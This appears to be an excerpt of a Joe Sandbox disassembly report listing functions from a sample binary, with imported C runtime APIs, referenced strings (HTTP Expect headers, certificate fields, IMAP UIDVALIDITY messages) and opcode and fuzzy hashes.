Opcode ID: 6ddab9e1bea1c4541d84d215edef0730235214fb9ebe75839b84cfb8c703a0c1
Instruction ID: 080bcb0d63da43378aaa316e067d7c28c09de450190a68de00ea76af3e56749e
Opcode Fuzzy Hash: 6ddab9e1bea1c4541d84d215edef0730235214fb9ebe75839b84cfb8c703a0c1
Instruction Fuzzy Hash: D341E50292D292C5FA7AB7215010379AB91AF05790F880772DE9E0A3C5DF2DA407DB20

Function 00007FF747D7F708 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 120COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF747D7F7FD
_strdup.API-MS-WIN-CRT-STRING-L1-1-0 ref: 00007FF747D7F84E
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF747D7F90A
malloc.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF747D7F9FA
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF747D7FA0B

Strings

%%%02x, xrefs: 00007FF747D7F8B3

Memory Dump Source

Source File: 00000000.00000002.3374380186.00007FF747D31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF747D30000, based on PE: true

Associated: 00000000.00000002.3374304324.00007FF747D30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374435309.00007FF747D92000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374511262.00007FF747DA9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374575228.00007FF747DAA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374575228.00007FF747DAF000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff747d30000_EspPrivStoreAtt116.jbxd

Similarity

API ID: freemalloc$_strdup
String ID: %%%02x
API String ID: 1941130848-4020994737
Opcode ID: add6d49ce95373930ca12822ca5706401dd4ce203f97ecf9262891c636c1e989
Instruction ID: f723b3e8d0713c0b41810cfc8704973096f666533dc2aa0d8f720a685a0f3f2d
Opcode Fuzzy Hash: add6d49ce95373930ca12822ca5706401dd4ce203f97ecf9262891c636c1e989
Instruction Fuzzy Hash: E441F602D2D292C4FA7AB7215010379AB91AF05790F880772DE9E0A3C5DF2DE407DB30

Function 00007FF747D7F6EC Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 120COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF747D7F7FD
_strdup.API-MS-WIN-CRT-STRING-L1-1-0 ref: 00007FF747D7F84E
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF747D7F90A
malloc.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF747D7F9FA
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF747D7FA0B

Strings

%%%02x, xrefs: 00007FF747D7F8B3

Memory Dump Source

Source File: 00000000.00000002.3374380186.00007FF747D31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF747D30000, based on PE: true

Associated: 00000000.00000002.3374304324.00007FF747D30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374435309.00007FF747D92000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374511262.00007FF747DA9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374575228.00007FF747DAA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374575228.00007FF747DAF000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff747d30000_EspPrivStoreAtt116.jbxd

Similarity

API ID: freemalloc$_strdup
String ID: %%%02x
API String ID: 1941130848-4020994737
Opcode ID: f24707c84e03f7a66e94ac29b5f0433a77d803606814e6d8575d6aa59e1712ec
Instruction ID: 7158bb4d7c4560cfae75dfbc9ad1e1da624ad995fa356b619a36b4088968d345
Opcode Fuzzy Hash: f24707c84e03f7a66e94ac29b5f0433a77d803606814e6d8575d6aa59e1712ec
Instruction Fuzzy Hash: 2E41D612D2D692C5FA7AB7215110379AB91AF45790F880772DEDE0A3C5DF2DE407DB20

Function 00007FF747D7F7BD Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 119COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF747D7F7FD
_strdup.API-MS-WIN-CRT-STRING-L1-1-0 ref: 00007FF747D7F84E
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF747D7F90A
malloc.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF747D7F9FA
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF747D7FA0B

Strings

%%%02x, xrefs: 00007FF747D7F8B3

Memory Dump Source

Source File: 00000000.00000002.3374380186.00007FF747D31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF747D30000, based on PE: true

Associated: 00000000.00000002.3374304324.00007FF747D30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374435309.00007FF747D92000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374511262.00007FF747DA9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374575228.00007FF747DAA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374575228.00007FF747DAF000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff747d30000_EspPrivStoreAtt116.jbxd

Similarity

API ID: freemalloc$_strdup
String ID: %%%02x
API String ID: 1941130848-4020994737
Opcode ID: 79a656023e6bd4345ef3070d038f4b0a04e506819340c9dc18019e0ab5006f97
Instruction ID: a8007f67567b1fcfa55e772aff6813d1a6f406a120daced899c0bc01dd60151e
Opcode Fuzzy Hash: 79a656023e6bd4345ef3070d038f4b0a04e506819340c9dc18019e0ab5006f97
Instruction Fuzzy Hash: 3941D61292D792C4FA7AB7215010379AB91AF45790F880372DE9E0A3C5DF2DA407DB20

Function 00007FF747D648A0 Relevance: 10.6, APIs: 3, Strings: 4, Instructions: 109stringCOMMON

Download Yara Rule

APIs

strchr.VCRUNTIME140 ref: 00007FF747D64986
strchr.VCRUNTIME140 ref: 00007FF747D64999
strchr.VCRUNTIME140 ref: 00007FF747D649AB

Strings

Expect:, xrefs: 00007FF747D6492E
Expect: 100-continue, xrefs: 00007FF747D64A08
100-continue, xrefs: 00007FF747D649C6
Expect, xrefs: 00007FF747D64907

Memory Dump Source

Source File: 00000000.00000002.3374380186.00007FF747D31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF747D30000, based on PE: true

Associated: 00000000.00000002.3374304324.00007FF747D30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374435309.00007FF747D92000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374511262.00007FF747DA9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374575228.00007FF747DAA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374575228.00007FF747DAF000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff747d30000_EspPrivStoreAtt116.jbxd

Similarity

API ID: strchr
String ID: 100-continue$Expect$Expect:$Expect: 100-continue
API String ID: 2830005266-711804848
Opcode ID: d589d7f1a0eca895f8ffff6343643548f106be98028e10f8c7df182552c1a110
Instruction ID: 6572dfd700636ddcd343fc38d73ae7b1d4212c97151ae59b0ddc315107606e8c
Opcode Fuzzy Hash: d589d7f1a0eca895f8ffff6343643548f106be98028e10f8c7df182552c1a110
Instruction Fuzzy Hash: 3E41D821B3CA82C2EA54FB1AA5001B9E790AF457C8FCC9235DA4D47786EE1CE5438F64

Function 00007FF747D7D410 Relevance: 10.6, APIs: 2, Strings: 4, Instructions: 109COMMON

Download Yara Rule

APIs

_time64.API-MS-WIN-CRT-TIME-L1-1-0 ref: 00007FF747D7D428
_time64.API-MS-WIN-CRT-TIME-L1-1-0 ref: 00007FF747D7D591

Strings

gfff, xrefs: 00007FF747D7D49C
set timeouts for state %d; Total %ld, retry %d maxtry %d, xrefs: 00007FF747D7D56C
gfff, xrefs: 00007FF747D7D508
Connection time-out, xrefs: 00007FF747D7D44B

Memory Dump Source

Source File: 00000000.00000002.3374380186.00007FF747D31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF747D30000, based on PE: true

Associated: 00000000.00000002.3374304324.00007FF747D30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374435309.00007FF747D92000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374511262.00007FF747DA9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374575228.00007FF747DAA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374575228.00007FF747DAF000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff747d30000_EspPrivStoreAtt116.jbxd

Similarity

API ID: _time64
String ID: Connection time-out$gfff$gfff$set timeouts for state %d; Total %ld, retry %d maxtry %d
API String ID: 1670930206-870032562
Opcode ID: 74e62bef8fa31f227eae4ae217bd9c3a0d0584a610b1ab6dd052daefc5e3ab35
Instruction ID: aacec5118713a03a3d28b190a09bb0330d4c4f2ebc9268e853a79a40aae18f20
Opcode Fuzzy Hash: 74e62bef8fa31f227eae4ae217bd9c3a0d0584a610b1ab6dd052daefc5e3ab35
Instruction Fuzzy Hash: 6441B576B38615C7DB20EF2AE040568A7A4F799F88FD05132DE0D8B798DE39E552CB40

Function 00007FF747D87F20 Relevance: 10.6, APIs: 2, Strings: 5, Instructions: 106COMMON

Download Yara Rule

APIs

free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF747D88409
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF747D884D2

Strings

Expire Date: %s, xrefs: 00007FF747D883F7
%s%lx, xrefs: 00007FF747D87F7D
Public Key Algorithm, xrefs: 00007FF747D88488
Public Key Algorithm: %s, xrefs: 00007FF747D884A2
Expire Date, xrefs: 00007FF747D883DD

Memory Dump Source

Source File: 00000000.00000002.3374380186.00007FF747D31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF747D30000, based on PE: true

Associated: 00000000.00000002.3374304324.00007FF747D30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374435309.00007FF747D92000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374511262.00007FF747DA9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374575228.00007FF747DAA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374575228.00007FF747DAF000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff747d30000_EspPrivStoreAtt116.jbxd

Similarity

API ID: free
String ID: Expire Date: %s$ Public Key Algorithm: %s$%s%lx$Expire Date$Public Key Algorithm
API String ID: 1294909896-3155708153
Opcode ID: 770020365c6d0c45be4cfa23b1a94b6c3da9defd2c613fd296cabf1a0c258870
Instruction ID: a402bfddefd0a3b3a320d39454fbad3cfe3e9a7ee23afca03324483fc1571711
Opcode Fuzzy Hash: 770020365c6d0c45be4cfa23b1a94b6c3da9defd2c613fd296cabf1a0c258870
Instruction Fuzzy Hash: 6E41A451A2C782C9EF14BB6194001F9A7A1BF057C8FC54A31DE5E0B799EF3CE1068B20

Function 00007FF747D8861E Relevance: 10.6, APIs: 3, Strings: 4, Instructions: 102COMMON

Download Yara Rule

APIs

free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF747D88A09
malloc.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF747D88A49
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF747D88A5C

Strings

Signature, xrefs: 00007FF747D889DF
%u%.2s-%.2s-%.2s %.2s:%.2s:%.2s %.*s, xrefs: 00007FF747D886B4
GMT, xrefs: 00007FF747D88674
Signature: %s, xrefs: 00007FF747D889F7

Memory Dump Source

Source File: 00000000.00000002.3374380186.00007FF747D31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF747D30000, based on PE: true

Associated: 00000000.00000002.3374304324.00007FF747D30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374435309.00007FF747D92000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374511262.00007FF747DA9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374575228.00007FF747DAA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374575228.00007FF747DAF000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff747d30000_EspPrivStoreAtt116.jbxd

Similarity

API ID: free$malloc
String ID: Signature: %s$%u%.2s-%.2s-%.2s %.2s:%.2s:%.2s %.*s$GMT$Signature
API String ID: 2190258309-3662781045
Opcode ID: 81ec5cdf911039d5ac5546a4cba887d0936b7f84550cb837826ce393f7bf0ef0
Instruction ID: 434e60fe7401e3e70e8d6ced19e05b0999d00d9db21efab2a28192e327221df6
Opcode Fuzzy Hash: 81ec5cdf911039d5ac5546a4cba887d0936b7f84550cb837826ce393f7bf0ef0
Instruction Fuzzy Hash: 57418162A2CA82D5EB10FB25E4001AAE360FB45BC4FD90632DA9D17759DF3CE546CB20

Function 00007FF747D873E1 Relevance: 10.6, APIs: 2, Strings: 5, Instructions: 99COMMON

Download Yara Rule

APIs

free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF747D8788E
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF747D87933

Strings

%s%lx, xrefs: 00007FF747D87436
Serial Number: %s, xrefs: 00007FF747D8787C
Serial Number, xrefs: 00007FF747D87862
Signature Algorithm, xrefs: 00007FF747D87907
Signature Algorithm: %s, xrefs: 00007FF747D87921

Memory Dump Source

Source File: 00000000.00000002.3374380186.00007FF747D31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF747D30000, based on PE: true

Associated: 00000000.00000002.3374304324.00007FF747D30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374435309.00007FF747D92000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374511262.00007FF747DA9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374575228.00007FF747DAA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374575228.00007FF747DAF000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff747d30000_EspPrivStoreAtt116.jbxd

Similarity

API ID: free
String ID: Serial Number: %s$ Signature Algorithm: %s$%s%lx$Serial Number$Signature Algorithm
API String ID: 1294909896-659367561
Opcode ID: 0727d6f78932e429ab4fbfca8d635a4f14a82bbe5beda4dd6ce3d34bcfbc9a7f
Instruction ID: 444ef8a5a7afcb5507b75edfb4a4ea0f1cd0fa8d692a48fd8df435fd4ea9465b
Opcode Fuzzy Hash: 0727d6f78932e429ab4fbfca8d635a4f14a82bbe5beda4dd6ce3d34bcfbc9a7f
Instruction Fuzzy Hash: 2641DA51B2D782C9EF14B76695041F9ABA5AF05BC8FC55A31CE1E0B796DE3CE102CB20

Function 00007FF747D70720 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 96COMMON

Download Yara Rule

APIs

free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF747D7075D
_strdup.API-MS-WIN-CRT-STRING-L1-1-0 ref: 00007FF747D707CE

Strings

., xrefs: 00007FF747D707C7

Memory Dump Source

Source File: 00000000.00000002.3374380186.00007FF747D31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF747D30000, based on PE: true

Associated: 00000000.00000002.3374304324.00007FF747D30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374435309.00007FF747D92000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374511262.00007FF747DA9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374575228.00007FF747DAA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374575228.00007FF747DAF000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff747d30000_EspPrivStoreAtt116.jbxd

Similarity

API ID: _strdupfree
String ID: .
API String ID: 1865132094-916926321
Opcode ID: 126cce29423b04e181cdf8db6ab3ac814217b907ae3d6256a840f172d07d0515
Instruction ID: 7e3431ad4b013d7fc9ce88a8d9e96e99022dd966fc05c9d84ad0c6ae62e84bc1
Opcode Fuzzy Hash: 126cce29423b04e181cdf8db6ab3ac814217b907ae3d6256a840f172d07d0515
Instruction Fuzzy Hash: F1416022A2CB95C2E760BB91D500379A7A4FB44B80F954631DA4D4B7C4DF7CE452CFA0

Function 00007FF747D876EE Relevance: 10.6, APIs: 3, Strings: 4, Instructions: 95COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF747D8771F
memcpy.VCRUNTIME140 ref: 00007FF747D8774A
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF747D8788E
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF747D87933

Strings

Serial Number: %s, xrefs: 00007FF747D8787C
Serial Number, xrefs: 00007FF747D87862
Signature Algorithm, xrefs: 00007FF747D87907
Signature Algorithm: %s, xrefs: 00007FF747D87921

Memory Dump Source

Source File: 00000000.00000002.3374380186.00007FF747D31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF747D30000, based on PE: true

Associated: 00000000.00000002.3374304324.00007FF747D30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374435309.00007FF747D92000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374511262.00007FF747DA9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374575228.00007FF747DAA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374575228.00007FF747DAF000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff747d30000_EspPrivStoreAtt116.jbxd

Similarity

API ID: free$mallocmemcpy
String ID: Serial Number: %s$ Signature Algorithm: %s$Serial Number$Signature Algorithm
API String ID: 3401966785-517259162
Opcode ID: 1041f1c514f0783e2dd224254fe01bacb26eac6c194eb6be230712af05d872a0
Instruction ID: fe294915ad1fdaff07c07d1a63d10a93cbbea86c8caa499ceb93c7a1a5b8c465
Opcode Fuzzy Hash: 1041f1c514f0783e2dd224254fe01bacb26eac6c194eb6be230712af05d872a0
Instruction Fuzzy Hash: 8F41C161A2C782C4EB14BB6295041F9A761BF05BC8FC94631CE1E1B799EF3CE106CB20

Function 00007FF747D8A0CD Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 92COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF747D8A108
memcpy.VCRUNTIME140 ref: 00007FF747D8A12D
isupper.API-MS-WIN-CRT-STRING-L1-1-0 ref: 00007FF747D8A243
isupper.API-MS-WIN-CRT-STRING-L1-1-0 ref: 00007FF747D8A257
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF747D8A2BE

Strings

TRUE, xrefs: 00007FF747D8A21D

Memory Dump Source

Source File: 00000000.00000002.3374380186.00007FF747D31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF747D30000, based on PE: true

Associated: 00000000.00000002.3374304324.00007FF747D30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374435309.00007FF747D92000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374511262.00007FF747DA9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374575228.00007FF747DAA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374575228.00007FF747DAF000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff747d30000_EspPrivStoreAtt116.jbxd

Similarity

API ID: isupper$freemallocmemcpy
String ID: TRUE
API String ID: 2172629687-3412697401
Opcode ID: f595869c9dc7c6358f2bb1277ec5f6ddccb6b3985ee67b44c1d93163b6242026
Instruction ID: 328ab54ff10dbc7d7417e1331fc5433a8d60c045b307b67d424964b19789bb30
Opcode Fuzzy Hash: f595869c9dc7c6358f2bb1277ec5f6ddccb6b3985ee67b44c1d93163b6242026
Instruction Fuzzy Hash: 2D31F751E2D692C5FB32FB254504338EBD1AF52B94F865731C9AE52AC5CE2EA443CB20

Function 00007FF747D8886D Relevance: 10.6, APIs: 5, Strings: 2, Instructions: 82COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF747D888A8
memcpy.VCRUNTIME140 ref: 00007FF747D888CE
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF747D88A09
malloc.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF747D88A49
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF747D88A5C

Strings

Signature, xrefs: 00007FF747D889DF
Signature: %s, xrefs: 00007FF747D889F7

Memory Dump Source

Source File: 00000000.00000002.3374380186.00007FF747D31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF747D30000, based on PE: true

Associated: 00000000.00000002.3374304324.00007FF747D30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374435309.00007FF747D92000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374511262.00007FF747DA9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374575228.00007FF747DAA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374575228.00007FF747DAF000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff747d30000_EspPrivStoreAtt116.jbxd

Similarity

API ID: freemalloc$memcpy
String ID: Signature: %s$Signature
API String ID: 3519880569-1663925961
Opcode ID: f6c58c40ca3c7ba21690231e68ce7d023b12d9f0ab968a8b5222cd54bd54690d
Instruction ID: 46d52c47da56d35f72b4d9931d4d786e22b6d6b9e7123a2c2f512f9012e79a8f
Opcode Fuzzy Hash: f6c58c40ca3c7ba21690231e68ce7d023b12d9f0ab968a8b5222cd54bd54690d
Instruction Fuzzy Hash: CF31A661B2D782C5EE25FB16A5042BAA360BF85BD4F850631CD5D17795EE3CE0468B10

Function 00007FF747D6F246 Relevance: 10.6, APIs: 3, Strings: 3, Instructions: 80COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF747D4B430: __stdio_common_vsscanf.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 00007FF747D4B474

free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF747D6F284
_strdup.API-MS-WIN-CRT-STRING-L1-1-0 ref: 00007FF747D6F296

Strings

OK [UIDVALIDITY %19[0123456789]], xrefs: 00007FF747D6F268
Select failed, xrefs: 00007FF747D6F328
Mailbox UIDVALIDITY has changed, xrefs: 00007FF747D6F2CE

Memory Dump Source

Source File: 00000000.00000002.3374380186.00007FF747D31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF747D30000, based on PE: true

Associated: 00000000.00000002.3374304324.00007FF747D30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374435309.00007FF747D92000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374511262.00007FF747DA9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374575228.00007FF747DAA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374575228.00007FF747DAF000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff747d30000_EspPrivStoreAtt116.jbxd

Similarity

API ID: __stdio_common_vsscanf_strdupfree
String ID: Mailbox UIDVALIDITY has changed$OK [UIDVALIDITY %19[0123456789]]$Select failed
API String ID: 860312144-3309259123
Opcode ID: 826ba58853a3d136957f2169816f333a83ec11baa541e78f2ddb2eeea56b2deb
Instruction ID: 690831e4313c9fc7402efeb732032cd155ba483b0d9551840bfb5d5afe3f29da
Opcode Fuzzy Hash: 826ba58853a3d136957f2169816f333a83ec11baa541e78f2ddb2eeea56b2deb
Instruction Fuzzy Hash: 1531AE26E2CE42C2EA68BB21D4401BDA361FF85BC4FD48632CA4D47255DF2CE853CB61

Function 00007FF747D885F5 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 54COMMON

Download Yara Rule

APIs

_strdup.API-MS-WIN-CRT-STRING-L1-1-0 ref: 00007FF747D885F8
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF747D88A09
malloc.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF747D88A49
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF747D88A5C

Part of subcall function 00007FF747D50B50: malloc.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF747D50BA2

Strings

Signature, xrefs: 00007FF747D889DF
Signature: %s, xrefs: 00007FF747D889F7

Memory Dump Source

Source File: 00000000.00000002.3374380186.00007FF747D31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF747D30000, based on PE: true

Associated: 00000000.00000002.3374304324.00007FF747D30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374435309.00007FF747D92000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374511262.00007FF747DA9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374575228.00007FF747DAA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374575228.00007FF747DAF000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff747d30000_EspPrivStoreAtt116.jbxd

Similarity

API ID: freemalloc$_strdup
String ID: Signature: %s$Signature
API String ID: 1941130848-1663925961
Opcode ID: 2a26922783b79db217bfca0c63685440ab013e418253220c7c111f94832e3c4e
Instruction ID: bad3755916f86183f74ef7c6f934ee1f32b47d4de1290bdb47068de6c8383025
Opcode Fuzzy Hash: 2a26922783b79db217bfca0c63685440ab013e418253220c7c111f94832e3c4e
Instruction Fuzzy Hash: 33215062A2CA82C6EB10FB55E4442BAA364FF85BC4F840531DE4D17759EF2CE106CB10

Function 00007FF747D55F50 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 46stringCOMMON

Download Yara Rule

APIs

strtoul.API-MS-WIN-CRT-CONVERT-L1-1-0(?,?,?,?,?,?,?,?,?,00007FF747D532CC), ref: 00007FF747D55F85
_errno.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,?,?,?,?,?,00007FF747D532CC), ref: 00007FF747D55FB1
strerror.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,?,?,?,?,?,00007FF747D532CC), ref: 00007FF747D55FB9
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?,?,?,?,?,00007FF747D532CC), ref: 00007FF747D55FDB
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?,?,?,?,?,00007FF747D532CC), ref: 00007FF747D55FF2

Strings

Invalid zoneid: %s; %s, xrefs: 00007FF747D55FC4

Memory Dump Source

Source File: 00000000.00000002.3374380186.00007FF747D31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF747D30000, based on PE: true

Associated: 00000000.00000002.3374304324.00007FF747D30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374435309.00007FF747D92000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374511262.00007FF747DA9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374575228.00007FF747DAA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374575228.00007FF747DAF000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff747d30000_EspPrivStoreAtt116.jbxd

Similarity

API ID: free$_errnostrerrorstrtoul
String ID: Invalid zoneid: %s; %s
API String ID: 439826447-2159854051
Opcode ID: 90ed70e7a9103df2e2ca6645ded79d52b4d57e1b227f7637ba387c6d3f74f995
Instruction ID: d2ca3e38fb137b5842dd4fb2d55543566c48e120d71366400c31011f0f7c91bb
Opcode Fuzzy Hash: 90ed70e7a9103df2e2ca6645ded79d52b4d57e1b227f7637ba387c6d3f74f995
Instruction Fuzzy Hash: BE11B671A2D642C2EB51BB61E440578A370FF85B84FD40231DA5E57B94DF2CE846CF10

Function 00007FF747D55E80 Relevance: 10.0, APIs: 8, Instructions: 36COMMON

Download Yara Rule

APIs

